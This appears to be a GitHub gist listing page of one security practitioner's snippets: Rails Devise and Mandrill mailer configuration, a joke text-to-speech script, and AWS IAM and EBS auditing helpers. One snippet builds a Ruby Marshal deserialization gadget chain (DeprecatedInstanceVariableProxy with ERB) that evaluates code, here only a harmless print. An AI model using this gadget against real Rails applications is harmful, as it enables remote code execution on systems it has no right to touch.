Skip to content

Instantly share code, notes, and snippets.

View cktricky's full-sized avatar
🏠
Working from home

Ken Johnson cktricky

🏠
Working from home
View GitHub Profile
@cktricky
cktricky / devise.rb
Created October 3, 2014 19:03
Devise Configuration File - Mailer
# THIS FILE IS FOUND WITHIN config/initializers/devise.rb
# ==> Mailer Configuration
# Configure the e-mail address which will be shown in Devise::Mailer,
# note that it will be overwritten if you use your own mailer class
# with default "from" parameter.
config.mailer_sender = '[email protected]'
# Configure the class responsible to send e-mails.
config.mailer = 'MyMailer'
@cktricky
cktricky / my_mailer.rb
Created October 3, 2014 19:09
MyMailer (override Devise's Mailer)
class MyMailer < Devise::Mailer
def confirmation_instructions(record, token, opts={})
# code to be added here later
end
def reset_password_instructions(record, token, opts={})
# code to be added here later
end
@cktricky
cktricky / my_mailer.rb
Created October 3, 2014 19:35
Forgot Password - MyMailer
class MyMailer < Devise::Mailer
def confirmation_instructions(record, token, opts={})
# code to be added here later
end
def reset_password_instructions(record, token, opts={})
options = {
:subject => "Password Reset",
:email => record.email,
@cktricky
cktricky / mandrill.rb
Created October 3, 2014 19:41
Mandrill Configuration File
# THIS FILE IS FOUND WITHIN config/initializers/mandrill.rb
require 'mandrill'
# Use an environment variable instead of placing the key in source code
MANDRILL = Mandrill::API.new ENV['MANDRILL_API_KEY']
def test
code = "eval('puts \"hello\"')"
return Base64.encode64 "\x04\x08" +
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
":\x0E@instance" +
"o"+":\x08ERB"+"\x06" +
":\x09@src" +
Marshal.dump(code)[2..-1] +
":\x0C@method"+":\x0Bresult"
end
@cktricky
cktricky / funny
Last active August 29, 2015 14:23
Benny's Song "Satisfaction"
say 'push me, and then just touch me, so I can get my, satisfaction' && \
say -v victoria 'push me, and then just touch me, so I can get my, satisfaction' && \
say -v victoria 'satisfaction' &&\
say 'boing, boom tschak,,,boing, boom tschak'
#!/usr/bin/env ruby
require 'aws-sdk'
sts = Aws::STS::Client.new(
region: 'us-east-1',
access_key_id: "<insert access key id>",
secret_access_key: "<secret>"
)
@cktricky
cktricky / list_aws_user_policies.py
Created November 3, 2016 01:38
List User Policies in AWS
import boto3
from itertools import chain
import csv
'''
Goal)
Create a matrix (csv) that consists of (and is used in an excel file capacity):
*** List out each policy (Managed and Inline) that are attached to a user.
@cktricky
cktricky / gist:8f4e9912f757d1ccdcd00ad8e8630620
Created January 12, 2017 04:13
Lambda Function to Alert (Slack) of Unauthorized IAM Attempt
var AWS = require('aws-sdk');
var url = require('url');
var https = require('https');
var hookUrl, kmsEncyptedHookUrl, slackChannel;
kmsEncyptedHookUrl = 'abcd1234'; // Enter the base-64 encoded, encrypted key (CiphertextBlob)
slackChannel = 'example_channel'; // Enter the Slack channel to send a message to
var postMessage = function(message, callback) {
@cktricky
cktricky / review_encrypted_volumes.py
Created January 25, 2017 17:08
Evaluate EBS Volumes Encryption Status
import boto3
import pprint
# MAKE SURE YOU CHANGE THESE VALUES OR THE TOOL WON'T WORK.
access_key_id = 'replace me'
secret_access_key = 'replace me'
'''
This file is used to list EBS volumes and whether or not they are encrypted. This is only for "in-use" (running) volumes.